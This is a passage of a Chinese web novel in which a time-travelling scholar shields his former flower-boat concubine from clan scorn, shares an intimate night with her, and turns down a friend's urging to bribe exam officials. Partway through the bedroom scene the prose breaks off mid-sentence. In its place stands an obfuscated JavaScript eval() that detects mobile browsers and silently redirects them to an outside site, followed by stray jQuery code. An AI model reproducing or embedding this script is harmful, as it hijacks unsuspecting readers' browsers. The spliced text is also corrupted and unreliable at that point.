她终于敢确定,自己交付的这颗心,没有错付。而他也终于明白,那些被礼教逼出来的缘分,原来也能在朝夕相处里,开出最真挚的花。 李傲雪端着药碗进来时,正见两人相视而笑,眼底的温柔几乎要溢出来。她脚步轻缓地走上前,将药碗放在床头的小几上,轻声道:“少爷,该喝药了。” 药气带着微苦的清香散开,肖晨抬头看她,见她眼下有淡淡的青影,显然是昨夜没睡好,心里不由一暖:“傲雪,辛苦你了。” 李傲雪浅浅一笑,拿起汤匙舀了一勺药汁,放在唇边吹了吹:“您是我的少爷,照顾您是应该的,不辛苦。” 她正要将药喂到肖晨嘴边,却被他拉住了手。肖晨看着她,又转头看了看身边的丁香,眼里满是满足:“有你们两个妻子,真好。” 这话直白又温暖,说得李傲雪脸颊微红,丁香也低下头,嘴角却忍不住上扬。 “能遇到您,才是我们的福气。”李傲雪先开了口,语气真诚,“世间男子,再没有比您更重情重义的了。” 丁香也跟着点头,声音轻柔却坚定:“少夫人说得是。您待我们真心实意,从没有半分轻视,能在您身边,是丁香这辈子最大的幸运。” 她们都知道,在这看重出身、讲究尊卑的世道里,能遇到一个不把女子当附庸,真心疼惜、尊重她们的男子,有多难得。肖晨或许不算完美,却给了她们最想要的安稳与珍视。 肖晨被她们说得心里发热,握着两人的手紧了紧:“该说幸运的是我才对。一个知书达理,把家里打理得井井有条;一个温柔体贴,总能懂我心里的话。” 他看向李傲雪:“傲雪,以前总觉得委屈了你,让你受了不少族里的闲言碎语。”又转向丁香,“丁香,让你跟着我受了那么多苦,也委屈你了。” “不委屈。”两人异口同声地说,说完又相视一笑,眼底的拘谨早已散去,只剩下姐妹般的默契。 李傲雪重新拿起汤匙,这一次,丁香主动接过碗,轻声道:“我来吧。” 她舀起药汁,小心地喂到肖晨嘴边,李傲雪则拿起一旁的蜜饯,等他咽下苦涩的药汁,就递上一颗清甜的梅子。 肖晨看着眼前一左一右的两人,一个温柔细致,一个娴静体贴,心里像被什么东西填满了,暖融融的。 他知道,这或许不符合世俗对“正妻”“妾室”的定义,可在他心里,她们都是要携手走一生的人。能得她们如此相待,是他几辈子修来的福分。 57.妓女的悲惨命运,生不如死 这半个月,肖晨的日子过得平静又温暖。白日里养伤读书,李傲雪便在一旁研墨铺纸,偶尔为他讲解几句古籍里的疑难;到了傍晚,丁香就端来亲手做的点心,坐在他身边,听他说些书中的趣事。两人轮流照看,喂药、换药、打理院子,默契得像是相处了十几年的姐妹。 肖晨的身体渐渐硬朗起来,后背的伤口结了痂,气色也红润了许多,只是每次听到院外传来族人的议论声,眉头总会不自觉地皱起。 果然,这天午后,大爷爷带着两个族老再次登门,脸色比上次更沉。 “肖晨,你的伤也养得差不多了,该给族里一个交代了。”大爷爷开门见山,拐杖往地上一顿,“那丁香是花船出来的,身子早就不干净了,这种脏女人怎么能进我们肖家的高门大院?传出去,我们肖家的脸面往哪儿搁?” 四叔在一旁附和:“就是!祖宗定下的规矩,良妾贱妾不能同堂,她这样的出身,连做妾都不配,留在府里只会玷污家族的名声!” 堂叔不知何时也跟了进来,此刻更是煽风点火:“我早就说过,这女人是祸水!现在不把她赶走,早晚要让肖家祖宗蒙羞!” 肖晨放下手中的书卷,缓缓站起身。他比半个月前清瘦了些,眼神却更坚定:“大爷爷,四叔,我上次就说过,丁香是我的妻子,我绝不会赶她走。” “你还敢犟!”大爷爷气得吹胡子瞪眼,“你忘了肖家是书香门第?是要靠名声立足的!你留着她,以后谁还敢跟我们肖家结亲?你的功名前程还要不要了?” “功名前程我会自己挣,结亲与否,也该看人品而非虚名。”肖晨直视着他们,声音不高却字字清晰,“在我眼里,丁香和傲雪一样干净,一样值得尊重。所谓的‘脏’,从不是出身带来的,而是人心的偏见。” 他顿了顿,目光扫过在场的每一个人:“你们说她玷污家族,可她进府以来,待人宽厚,孝敬长辈,从没做错一件事。反倒是某些人,顶着长辈的名头搬弄是非,这才是真的玷污门楣!” 堂叔被噎得脸色铁青:“你……你这是在骂我?” “我只是就事论事。”肖晨冷冷道,“总之,丁香我留定了。若是族里容不下她,那我就带着她和傲雪,搬出去住。” “你敢!”大爷爷气得拐杖都快握不住了,“你要是敢搬出去,就别认我这个族老,别认肖家这个祖宗!” “祖宗若有灵,也该知道是非对错。”肖晨挺直脊背,“若连自己的家人都护不住,这祖宗不认也罢。” 就在这时,李傲雪扶着肖母走了进来,恰好听到这话。肖母叹了口气:“大哥哥,四叔,六叔,晨儿性子犟,可他说得也有几分道理。丁香这孩子,我看在眼里,确实不坏。” 李傲雪也开口道:“各位爷爷,眼下秋闱在即,少爷正是该安心读书的时候,若是为此事分心,耽误了前程,岂不是得不偿失?不如先让这事缓一缓,等少爷考完再说,可好?” 族老们对视一眼,神色各异。他们虽恨丁香的出身,却也看重肖晨的前程。秋闱确实要紧,若是因此耽误了,才是真的损失。 大爷爷沉默半晌,终于松了口:“好,就依你们。但秋闱之后,必须给我们一个了断!在此之前,让她安分守己,别再惹出什么事端!” 说完,他狠狠瞪了肖晨一眼,带着人拂袖而去。 堂叔走在最后,回头看了看屋里,眼里满是不甘。 一场风波暂时平息,肖晨却知道,这只是缓兵之计。他看向身边的丁香,见她脸色发白,连忙握住她的手:“别怕,有我在。” 丁香摇摇头,眼眶微红:“我不怕,只是怕耽误了公子的前程。” “你的事,从来不是耽误。”肖晨握紧她的手,又看向李傲雪,“委屈你们了。” 李傲雪浅浅一笑:“只要少爷安心读书,我们都没事。” 窗外的阳光正好,落在三人身上。前路依旧坎坷,但只要他们心齐,再大的风浪,总能扛过去。肖晨看着身边的两个女子,心里只有一个念头——好好读书,考中功名,等他有了足够的力量,就能护着她们,护着这个家,再无人能置喙。 族老们一走,客厅里的气氛瞬间沉了下来。肖父坐在太师椅上,脸色铁青,手里的旱烟袋敲得桌沿“笃笃”响;肖母站在一旁,眼圈泛红,显然是憋了一肚子气。 “你看看你做的这些事!”肖父终于开口,声音里满是怒火,“前阵子被流言逼得娶了她,我们就当是破财消灾,没成想现在闹得全族看笑话!你让我们老两口在族人面前怎么抬得起头?” 肖母跟着抹起了眼泪,语气尖利:“我早就说过,那花船来的女子不是好东西!一身的污秽,留在府里就是个祸害!你赶紧把她送走,送得越远越好,免得脏了咱们家的地!” “她不脏!”肖晨猛地提高声音,脸色涨得通红,像是被踩到了底线,“她是清白的!” 这话一出,肖父肖母都愣住了,怔怔地看着他。 肖晨深吸一口气,语气带着从未有过的坚定,甚至有些豁出去的直白:“我们圆房那天,她……她是处子,见红了。” 这话像一块石头砸进平静的水里,客厅里瞬间鸦雀无声。肖父手里的旱烟袋“啪嗒”掉在地上,肖母也忘了抹泪,满脸的难以置信。 在他们的认知里,花船女子哪有清白可言?多半是些迎来送往的风尘人,可肖晨这话…… “你……你说的是真的?”肖母的声音都有些发颤。 “儿子怎么会拿这种事骗你们。”肖晨梗着脖子,眼神坦荡,“她在花船只是卖艺,从没接过客,王老爷买她回去也没碰过,是我赎她回来的。她干干净净,比那些背后嚼舌根的人干净一百倍!” 他知道这话粗俗,却不得不说。在这个看重女子贞洁的世道,唯有这句话,才能堵住那些污秽的猜测,才能护住丁香的名声。 肖父捡起旱烟袋,手指微微发抖,半晌才闷声道:“就算……就算她是清白的,出身摆在那里,花船女子的名声,这辈子都洗不掉!” “名声是别人给的,可心是自己的。”肖晨看着父母,语气软了些,却依旧不肯退让,“她是什么样的人,儿子比谁都清楚。她温柔、善良,从没害过人,凭什么要被人戳着脊梁骨骂?” 肖母还是转不过弯,跺着脚道:“可她是花船出来的!族里的人不会信!外人更会笑话我们肖家娶了个……” “他们信不信不重要。”肖晨打断她,“重要的是,我信她。她是我的妻子,我就得护着她。娘,您也是女人,该知道被人指着鼻子骂‘贱货’有多难受,何必用最难听的话伤她?” 肖母被噎得说不出话,望着儿子倔强的脸,心里又气又涩。她不是铁石心肠,只是被“花船女子”四个字吓怕了,怕儿子被拖累,怕家族蒙羞。 肖父沉默了许久,终于重重叹了口气:“罢了,罢了……既然圆房了,又是清白身子,按规矩也该算正经的妾室。只是这名声……你好自为之吧。” 他起身往外走,走到门口又顿住,没回头:“秋闱在即,别再惹事,好好读书。” 肖母看着丈夫的背影,又看看儿子眼里的坚定,终究是没再说什么,捂着脸哭着回了房。 客厅里只剩下肖晨一人,他扶着桌沿,后背沁出一层薄汗。刚才那番话,几乎耗尽了他所有力气,可心里却松快了许多。 他知道,父母心里的坎没那么容易过去,族里的非议也不会停,但至少,他护住了她最根本的尊严。 回到院子时,丁香正站在廊下等他,脸色发白,显然是听到了些风声。见他回来,她连忙迎上去,嘴唇动了动,却没敢问。 肖晨握住她的手,掌心滚烫:“别怕,都过去了。” 他没细说客厅里的争执,只轻声道:“我跟爹娘说了,你是清白的。以后……他们不会再那样骂你了。” 丁香的眼泪瞬间涌了出来,不是委屈,是感激。在这个把女子贞洁看得比天还重的世道,他竟为了护她,连这种私密事都告诉了父母。 “公子……”她哽咽着,说不出话,只能紧紧回握住他的手。 肖晨替她擦去眼泪,眼里满是疼惜:“以后有我在,没人能再轻贱你。” 丁香的声音很轻,却带着一种穿透人心的倔强,像是积压了多年的委屈,终于找到了可以倾诉的出口。 “公子,您不知道,在遇到您之前,我在花船上的日子,早就不报任何希望了。”她垂着眼,长长的睫毛在眼下投出淡淡的阴影,“他们天天催着我接客,说像我这样出身的女人,迟早都是要认命的。那些来花船的贵族老爷,看我的眼神,就像在看一件物件,他们嘴上夸我琴弹得好,转过身就跟旁人说,不过是个供人取乐的破鞋、奴隶。” 她抬手,指尖轻轻抚过腕上的玉镯,那是肖晨送她的,是她灰暗日子里唯一的光。 “他们都嫌我脏,可我自己知道,我没那么脏。”她的声音微微发颤,却透着一股不容置疑的坚定,“我娘走之前跟我说,女子可以没名分,可以穷,但不能没骨气。就算饿死,我也不能用身体换生存,那点可怜的尊严,我得攥在自己手里。” 所以她宁肯被他们打骂,宁肯被客人刁难,也死死守着最后一道防线,靠着弹琴卖艺勉强糊口。她以为自己这辈子,要么死在花船上,要么被卖到不知名的地方,直到肖晨的出现,像一道惊雷,劈开了她早已认命的人生。 肖晨听着,心口像是被什么东西堵住了,又闷又疼。他握住她的手,才发现她的指尖冰凉,还在微微发抖。 “傻瓜。”他的声音有些沙哑,抬手将她揽进怀里,轻轻拍着她的背,“你做得对,那不是傻,是风骨。那些说你脏的人,才是真的脏,脏在心里。” 他想起那些在花船上见到的、自诩高贵的男人,他们用金钱衡量一切,用轻蔑践踏别人的尊严,却忘了自己骨子里的龌龊。相比之下,丁香守着的那点尊严,比他们身上的锦袍、头上的乌纱,珍贵百倍。 “以后不会了。”肖晨在她耳边轻声说,语气郑重得像在立誓,“有我在,没人再敢那样说你,没人再敢轻贱你。你的尊严,我替你守着,守一辈子。” 丁香靠在他怀里,闻着他身上淡淡的墨香和药味,积压多年的委屈终于化作泪水,无声地滑落。这些话,她等了太久太久,久到以为这辈子都等不到了。 原来真的有人,不在乎她的出身,看得见她的挣扎,懂得她死守的那点尊严有多重要。 肖晨抱着丁香,听着她压抑的哽咽,心里像压了块沉甸甸的石头。 他想起现代时读过的那些故事——杜十娘怒沉百宝箱,以为遇了良人,终究还是被薄情郎转手倒卖,满腔赤诚付了江水;赛金花虽嫁得状元郎,可一旦靠山崩塌,便被冠上“有辱门风”的罪名,扫地出门,最后落得个不知所踪的下场。 这些在风尘里挣扎的女子,哪怕拼尽全力想抓住一丝光亮,也总会被这世道狠狠拽回泥潭。世人骂她们下贱,却忘了是谁将她们推入火坑;鄙夷她们的出身,却吝啬给予半分翻身的可能。所谓的“良人”“家族”,到头来不过是权衡利弊的棋子,一旦触及“门风”二字,她们便成了必须被舍弃的污点。 肖晨低头看着怀里瑟瑟发抖的丁香,她和杜十娘、赛金花何其相似?若不是自己当初执意赎她回来,此刻的她,或许早已落得更悲惨的下场。而即便到了现在,那些“有辱门风”的唾沫星子,依旧像刀子一样悬在她头顶。 这世道对女子本就苛刻,对风尘女子更是不留半分活路。他们容不下她们的过去,容不下她们的挣扎,甚至容不下她们改过自新的可能。仿佛只要沾了“妓女”二字,这辈子就只能被钉在耻辱柱上,连呼吸都是错的。 “别怕。”肖晨收紧手臂,声音里带着自己都未察觉的颤抖,“我不会让你走她们的路。” 他不能让她成为第二个杜十娘,更不能让她落得赛金花的结局。他是从现代来的,见过更平等的世界,知道人生来本就该有尊严,不该被出身定义。 “我会考上功名,会变得足够强。”他看着丁香的眼睛,一字一句道,“强到能挡住所有非议,强到能让那些说你‘脏’的人闭嘴,强到……能护你安稳过一生。” 他知道这条路难如登天,封建礼教的枷锁,宗族势力的压迫,哪一样都能轻易碾碎一个人的意志。可只要想到怀里的人可能面临的悲惨命运,他就觉得浑身都有了力气。 丁香望着他眼里的坚定,似懂非懂地点点头,将脸埋进他的衣襟。她不知道他说的“强”意味着什么,却知道这个男人,是真的想护着她,护着她那点可怜的、几乎被碾碎的尊严。 肖晨抬手拭去她脸颊的泪痕,指尖带着暖意:“别伤心了,嗯?以后日子还长,都要开开心心的。有什么委屈千万别憋着,全都告诉我,我替你扛着。” 他牵起她的手,往饭厅走:“饿了吧?去吃饭,今天厨房炖了你爱吃的银耳羹。” 丁香被他拉着走,脚步轻轻的,心里却像揣了只小兔子,跳得厉害。走到回廊拐角时,她忽然停下脚步,低着头,声音细得像缕烟:“公子……晚上……晚上能留下来陪我吗?” 话一出口,她的耳尖就红透了,手指紧紧攥着他的衣袖,连呼吸都屏住了。 肖晨愣了一下,转头看她。昏黄的灯笼光落在她脸上,能看到她睫毛上还挂着未干的泪珠,眼里却藏着一丝怯怯的期盼。他忽然明白,那些过往的惊惧和今日的争执,还是在她心里留下了阴影,她需要一点实实在在的安稳,来确认自己是被珍视的。 他反手握住她的手,掌心温热而有力:“好,我留下来陪你。” 丁香猛地抬头看他,眼里闪过一丝惊喜,随即又低下头,嘴角却忍不住弯了起来,像偷吃到糖的孩子。 “走吧,再不去,银耳羹该凉了。”肖晨笑着捏了捏她的手心,拉着她继续往前走。 晚饭时,李傲雪看两人神色缓和,也松了口气,席间还特意给丁香夹了块她爱吃的芙蓉鱼。饭桌上没有再提族里的事,只说些读书、绣花的闲话,气氛竟难得的温馨。 夜深后,肖晨果然留在了丁香的院子里。烛火摇曳,映得屋里暖融融的。丁香铺床时,动作有些笨拙,被角总是捋不平整,肖晨走过去,从身后轻轻环住她的腰。 “别紧张。”他在她耳边低语,“就像平时一样就好。” 丁香的身子僵了一下,随即放松下来,转过身回抱住他,将脸埋在他胸口:“有公子在,我什么都不怕。” 是啊,有他在,那些关于“风尘女子”的悲惨命运,那些被家族舍弃的恐惧,好像都能暂时被挡在门外。 肖晨低头吻了吻她的发顶,心里默默道:以后,我会一直让你这样安心。 烛火跳了跳,将两人的影子投在墙上,拉得长长的。肖晨解开外袍的系带,正要往下脱,却被丁香按住了手。 她抬起头,眼里映着烛火,带着几分羞赧,却又异常坚定:“公子,我来。” 她的指尖轻轻拂过他的衣襟,声音低柔得像羽毛拂过心尖:“我想好好伺候我的男人。” 肖晨看着她认真的模样,心里一暖,便松了手,任由她动作。丁香的手指有些微颤,却很轻柔,先替他脱下外袍,再解里衣的系带。她的动作不算熟练,却带着小心翼翼的珍视,每解开一颗扣子,指尖都会不经意地擦过他的肌肤,带起一阵细微的战栗。 里衣滑落,露出他清瘦却结实的胸膛,后背的伤疤还未完全褪去,像一道浅浅的印记。丁香的目光落在那道疤上,指尖轻轻碰了碰,眼里闪过心疼。 肖晨握住她的手,低声道:“早不疼了。” 丁香摇摇头,没说话,只是俯身,在那道疤上轻轻印下一个吻。 随后,她转过身,背对着他,慢慢解开自己的衣襟。外衫滑落,露出纤细的肩背,接着是中衣,一层层褪去,直到浑身肌肤都沐浴在烛火里。她没有丝毫遮掩,也没有半分忸怩,就那样坦然地站在他面前,仿佛要将自己的一切,都毫无保留地展现在他眼前。 在花船上,她被迫用琴音讨好人,却从未让任何人看过这样的自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097177|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。唯有眼前这个男人,是她认定的归宿,是值得她交付所有的人。她想让他知道,她的身体,和她的心一样,干净而真诚,只属于他一个人。 肖晨看着她的背影,月光勾勒出她柔和的曲线,烛火在她肌肤上跳跃,像撒了一层碎金。他没有多余的念头,心里只有满满的怜惜和珍视。这不是欲望的打量,而是看着自己心爱的人,卸下所有防备,将最柔软的一面展现在眼前的动容。 他走上前,从身后轻轻环住她,下巴抵在她的发顶,声音低沉而温柔:“傻瓜。” 丁香靠在他怀里,感受着他掌心的温度,轻轻笑了,眼里的羞怯散去,只剩下安稳。她转过身,主动搂住他的脖子,将脸埋在他颈间,气息温热:“公子,我是你的。” “我知道,你是属于我的。”肖晨的声音带着沙哑的温柔,弯腰将她打横抱起。丁香轻轻环住他的脖颈,脸颊贴在他温热的胸膛上,听着他有力的心跳,心里一片滚烫。 他将她轻轻放在床上,拉过被子盖住两人,指尖拂过她裸露的肩头:“别着凉了。” 被子里的温度渐渐升高,丁香能清晰地感受到他的气息萦绕在鼻尖。她咬着唇,犹豫了片刻,终于鼓起勇气,抬眼望他,声音带着一丝不易察觉的颤抖:“公子,我……我……” 话未说完,她忽然撑起身子,凑近他的唇,轻轻吻了上去。 那吻带着几分生涩,几分羞怯,像一片羽毛轻轻落在他唇上,却瞬间点燃了燎原的火。肖晨完全没反应过来,愣了一瞬,随即心头涌起浓烈的悸动,抬手扣住她的后颈,加深了这个吻。 他的吻温柔而克制,带着小心翼翼的珍视,没有半分轻薄,只有满满的疼惜。丁香闭上眼睛,笨拙地回应着,感受着他唇齿间的温度,泪水悄无声息地滑落——这是她第一次如此主动,也是第一次如此真切地感受到,自己是被人捧在手心疼爱的。 良久,吻才渐渐停歇,两人额头相抵,呼吸交织在一起。丁香的脸颊红得像熟透的苹果,却敢直视他的眼睛了,眼里满是水光和满足。 “以前在花船,那些男人看我的眼神,只有欲望和轻蔑。”她轻声说,声音带着哽咽,“只有公子,是真的对我好,不是玩弄,不是一时兴起……” 肖晨抬手替她擦去眼泪,指腹温柔地摩挲着她的脸颊:“傻瓜,我从来都不是玩你。” 他低头,在她眉心印下一个轻柔的吻:“以后,只会更疼你。” 丁香笑着点头,主动往他怀里缩了缩,像只找到港湾的小猫。被子里暖融融的,映着窗外透进来的月光,一切都温柔得不像话。 她知道,自己赌对了。这个男人,会是她一生的依靠,会是那个能劈开所有偏见,护她周全的人。而她,也会用一生的温柔,来回应这份沉甸甸的爱。 肖晨的手指轻轻划过她的发丝,声音里带着一丝不易察觉的沉重:“若是……若是你当初没遇见我,以后会怎么办?” 丁香的身子僵了一下,眼底的温柔渐渐被一层阴霾覆盖。她沉默了片刻,指尖无意识地抠着被角,声音低哑得像蒙了层灰:“我也不清楚……或许,就和花船上那些姐妹一样吧。” 她抬起眼,眸子里映着月光,却亮得让人心疼:“有个叫眉妩的姐姐,长得极美,弹得一手好琵琶,她遇上个自称是秀才的公子,信了他‘定当赎你’的话,把多年攒下的首饰都给了他,连身子也交了出去。结果那公子拿了钱就再也没露面,妈妈知道了,当天就把她卖到了最下等的窑子里。” “还有小翠,”丁香的声音开始发颤,“她等的人倒是来了,却只带了一半的钱,说先让她跟自己走,剩下的钱以后补上。小翠信了,跟着他跑了,没过三个月就被送了回来——那男人家里早有妻室,不过是骗她去做外室,被正妻发现闹到官府,她又被当成‘贱籍’扔了回来。妈妈嫌她晦气,转手卖给了山里的老光棍,听说没过半年就染了风寒,死在破庙里了。” 她深吸一口气,像是要把那些窒息的回忆压下去:“花船上的姐妹,十个里有九个都盼着遇个良人,可最后呢?不是被骗了钱财,就是骗了身子,落得个被卖到窑子、染病死掉的下场。窑子里的日子……比花船苦一百倍,那些男人根本不把你当人看,病死、打死,都是常事,最后连口薄棺都没有,就直接扔去乱葬岗了。” 肖晨听着,心口像被什么东西狠狠攥住,疼得发紧。他从没想过,那些“风尘女子”的命运背后,是这样血淋淋的绝望。她们用尽全身力气去抓住的“希望”,到头来不过是将自己推向更深地狱的诱饵。 他收紧手臂,将丁香更紧地搂在怀里,声音哑得厉害:“幸好,你遇见了我。” 幸好,他当初没有犹豫,砸锅卖铁也要把她赎出来。幸好,她没有像那些姐妹一样,落入万劫不复的深渊。 丁香靠在他怀里,感受着他胸膛的温度,眼泪无声地浸湿了他的衣襟:“是呀,幸好遇见了公子。” 若不是他,她或许早已成了眉妩、小翠中的一个,在某个无人知晓的角落,悄无声息地烂掉。 肖晨低头,在她发顶印下一个珍重的吻,心里只有一个念头——无论付出什么代价,都要护好怀里的人,绝不能让她重蹈那些姐妹的覆辙。 丁香窝在肖晨怀里,指尖轻轻划着他的手臂,声音柔软得像一团云:“公子和少夫人,都是好人。” 她顿了顿,眼里闪着感激的光:“我知道自己是妾,身份低微,可你们从没拿我当下人看。少夫人待我温和,教我读书写字,还替我在老夫人面前说好话;公子更是……更是把我护在身后,连那些最难听的话都替我挡了。” “以前在花船上,我连抬头看人的勇气都没有,总觉得自己低人一等,是任人摆弄的物件。”她的声音带着哽咽,却透着前所未有的舒展,“可到了这里,你们不嫌弃我的出身,不鄙夷我的过去,真真正正把我当人看,给我体面,给我安稳……这份恩,我这辈子都还不清。” 肖晨听着,心里又酸又软。他抬手捏了捏她的脸颊,语气带着几分嗔怪:“说什么傻话。你是我的人,护着你是应该的。傲雪性子好,她也真心喜欢你这份踏实,不是客套。” 他想起李傲雪时常偷偷给丁香送点心,教她管家理事时耐心十足,甚至在族老面前为她说话时的坚定,便知丁香说的是心里话。这两个女子,没有因为名分争风吃醋,反而像姐妹般相互扶持,是他最大的福气。 “以后别想这些了。”肖晨搂紧她,“在这个院子里,没有高低贵贱,只有一家人。” 丁香用力点头,把脸埋得更深,鼻尖蹭着他的衣襟,闻到那熟悉的墨香和药味,心里安稳得不像话。是啊,一家人。这个词,是她从前在花船上连做梦都不敢想的奢望,如今却真真切切地拥有了。 肖晨抬手替她掖了掖被角,指尖划过她眼角未干的泪痕,声音轻得像晚风:“好好睡一觉吧,别想那么多了。” 他将她往怀里带了带,让她的脸颊贴着自己的胸口,听着他沉稳的心跳声:“有我在,天塌不下来。那些糟心事,明天再说。” 丁香往他怀里缩了缩,像只找到温暖巢穴的小兽,鼻尖萦绕着他身上干净的皂角香。方才那些关于花船姐妹的悲惨回忆,那些对未来的惶恐,似乎都被这有力的心跳声抚平了。 她轻轻“嗯”了一声,声音带着浓浓的倦意,眼皮渐渐沉重起来。 肖晨低头看着她闭上的眼睛,长长的睫毛还微微颤着,像受惊的蝶翼。他抬手,用指腹轻轻拂过她的睫毛,动作温柔得像对待稀世珍宝。 夜渐渐深了,月光也变得慵懒,透过窗棂洒在两人身上,织成一张柔软的网。他能清晰地感受到怀中人的呼吸渐渐平稳,知道她是真的放下心防睡熟了。 他睁着眼睛望着帐顶,心里却一片安宁。不管前路有多少风雨,只要能护着怀里这个人,护着这个渐渐有了温度的家,就够了。 他轻轻拍着她的背,像哄孩子入睡般,自己也慢慢闭上了眼睛。 这一夜,她睡得格外安稳,再没做那些关于花船和离散的噩梦。 58.考试都是需要门路 清晨的第一缕阳光透过窗纱,落在丁香的脸上。她睫毛颤了颤,缓缓睁开眼,入目便是肖晨熟睡的侧脸。他眉头微蹙,像是在梦里也还在操心什么,唇角却带着浅浅的笑意。 丁香屏住呼吸,静静地看着他,指尖忍不住轻轻拂过他的眉峰,想把那点褶皱抚平。这段日子的风波像一场急雨,可雨停之后,能靠在这样温暖的怀抱里醒来,又让她觉得所有的委屈都值得。 肖晨被她的动作弄醒,迷迷糊糊地睁开眼,看到她近在咫尺的脸,瞬间清醒过来,伸手将她揽进怀里:“醒了?” 他的声音带着刚睡醒的沙哑,却格外动听。丁香点点头,往他怀里钻了钻:“公子睡得好吗?” “嗯,有你在身边,睡得踏实。”肖晨低头吻了吻她的额头,“再躺会儿,我去叫人备早饭。” 丁香却拉住他的手,小声道:“我想跟公子一起起。” 她想亲手为他穿衣,为他研墨,像寻常夫妻那样,过好这平淡的一天。 两人起身时,李傲雪已经让人把早饭送到了院里的小桌上。白粥熬得稠稠的,配着几样清爽的小菜,还有丁香爱吃的糖糕。 “少夫人早。”丁香见了李傲雪,连忙福身行礼,脸上带着几分不好意思。 李傲雪笑着摆摆手:“快坐吧,粥刚盛出来,还热乎着呢。”她看了看肖晨,又看了看丁香,见两人神色亲昵,眼底的笑意更深了,“看你们气色不错,想来昨晚睡得安稳。” 肖晨坐下时,见李傲雪眼下的青影淡了些,便道:“傲雪,你也多歇歇,别总为家里的事操劳。” “知道了,少爷。”李傲雪给他盛了碗粥,“您安心读书就好,家里有我呢。” 三人围坐在一起吃饭,晨光落在他们身上,暖洋洋的。没有了前几日的紧绷,连空气里都带着淡淡的甜意。 饭后,肖晨去书房读书,丁香便在一旁研墨,偶尔帮他整理散落的书卷。李傲雪处理完家事,也会过来坐一会儿,绣绣东西,或是和丁香说说话。 这样平静的日子过了几日,族里虽还有些风言风语,却没再有人上门刁难。肖晨知道,这是暴风雨前的宁静,等秋闱结束,该来的总会来。 可他不怕了。 午后,肖晨读书累了,靠在椅背上闭目养神。丁香端来一杯热茶,轻轻放在他手边,看着他眼下的乌青,心疼道:“公子别太累了,歇歇吧。” 肖晨握住她的手,睁开眼,眼里带着坚定的光:“不累。等我考中了,就能护着你们,再没人能说三道四。” 丁香看着他,重重地点头:“我信公子。” 这天午后,肖晨正在书房温书,忽闻下人来报,说是林羽来访。他放下书卷,起身迎了出去。 两人在院里的石桌旁坐下,下人奉上茶来,林羽呷了一口,便开门见山:“肖兄,秋闱眼看就要到了,你这闭门读书虽是好事,可也没想想,该给自己探探路?” 肖晨挑眉:“探路?林兄这话何意?” “嗨,你还装傻。”林羽凑近了些,压低声音,“主考官是谁,副考官有什么喜好,这些难道不该提前打点打点?虽说咱们读书人讲究真才实学,可这官场门路,该走还得走。我听说城西的张举人,前几日就托了关系,给主考官的门生送了厚礼,还求了幅字画当敲门砖呢。” 他看着肖晨,眼里带着几分“你不懂行情”的意味:“你想想,到时候卷子堆成山,主考官哪有功夫细看?若是有个眼熟的名字,或是得了谁的提点,那高中的把握不就大多了?” 肖晨端着茶杯的手顿了顿,心里了然。这“探路”说白了,就是科举舞弊的隐晦说法,或是走后门托关系,靠着人情而非学问求个前程。 他放下茶杯,语气平淡:“林兄的好意我心领了,只是我素来觉得,读书应试,考的是真才实学,若是靠这些旁门左道得了功名,就算高中了,心里也不安稳。” 林羽撇撇嘴,显然不认同:“肖兄还是太迂腐。这世道就是如此,你不钻营,自有别人钻营。到时候别人靠着门路得了官,你空有学问又有什么用?难道守着这破院子过一辈子?” 他顿了顿,又道:“再说了,你家里如今这情况——”他意有所指地扫了眼内院的方向,“若是你能考个好名次,得了官身,那些嚼舌根的族人还敢对你指手画脚?你身边的人,不也能跟着风光?” 这话戳中了肖晨的软肋,他确实想考中功名,想靠自己的力量护住丁香和傲雪,可这手段,他断断不能接受。 “多谢林兄提醒,只是我心意已决。”肖晨语气坚定,“若是我肚里没货,就算走了门路混个功名,将来也站不住脚。若是真有本事,自然能被考官看中。至于旁人如何,我管不了,也不想学。” 林羽见他油盐不进,也没了耐心,端起茶杯一饮而尽:“罢了,良言难劝固执人。肖兄好自为之吧,别到时候名落孙山,再后悔就晚了。” 说罢,他起身告辞,临走时还摇了摇头,显然觉得肖晨是自讨苦吃。 肖晨看着他远去的背影,轻轻叹了口气。他知道林羽说的是当下的常态,可他是从现代来的,骨子里就容不下这种“捷径”。科举或许有诸多不公,可他想守住自己的底线——不光是为了功名,更是为了不让自己变成那些他曾经鄙夷的人。 回到书房,丁香见他神色有些凝重,便问:“公子,可是林公子说了什么?” 肖晨摇摇头,握住她的手笑了笑:“没什么。只是更确定了,要好好读书,凭真本事考中。” 林羽走后,肖晨在书房静坐了片刻,指尖摩挲着泛黄的书卷,心里却清明得很。他不是不明白林羽话里的现实,这世道,钻营取巧的人往往比埋头苦读的人更容易得偿所愿。可他做不到——就像他无法容忍别人轻贱丁香一样,也无法容忍自己用龌龊手段换取前程。 “公子,喝杯茶吧。”丁香端着热茶进来,见他望着书卷出神,便轻轻将茶盏放在他手边,“方才听下人说,林公子走时脸色不大好?” 肖晨抬头看她,接过茶盏抿了一口,暖意顺着喉咙滑下去,心里的郁结也散了些:“他劝我走门路,说能增加高中的把握。” 丁香愣了一下,随即明白了“走门路”是什么意思,眉头微微蹙起:“公子不愿?” “嗯。”肖晨点头,目光落在她脸上,“我若靠那些手段得了功名,将来面对你和傲雪时,总觉得抬不起头。再说,我相信自己的学问,也信主考官能识得真才。” 丁香看着他眼里的坦荡,心里忽然涌起一股自豪。她就知道,自己没看错人。这世间多少男子为了功名不择手段,可他偏要守着那份孤高,走最难走的路。 “我信公子。”她轻声道,“凭公子的才学,定能高中的。到时候,看谁还敢说闲话。” 肖晨被她笃定的语气逗笑,伸手捏了捏她的脸颊:“借你吉言。” 接下来的日子,肖晨更加潜心读书。白日里埋首于经史子集,夜晚便在灯下揣摩策论,常常读到深夜。丁香和李傲雪轮流陪着他,一个为他研墨铺纸,一个为他准备夜宵暖茶,从不多言打扰,却用最体贴的方式,为他撑起一片安稳的天地。 偶尔,肖晨会听到窗外传来族人的议论—— “听说了吗?林家那小子托了关系,给主考官的门生送了不少礼呢。” 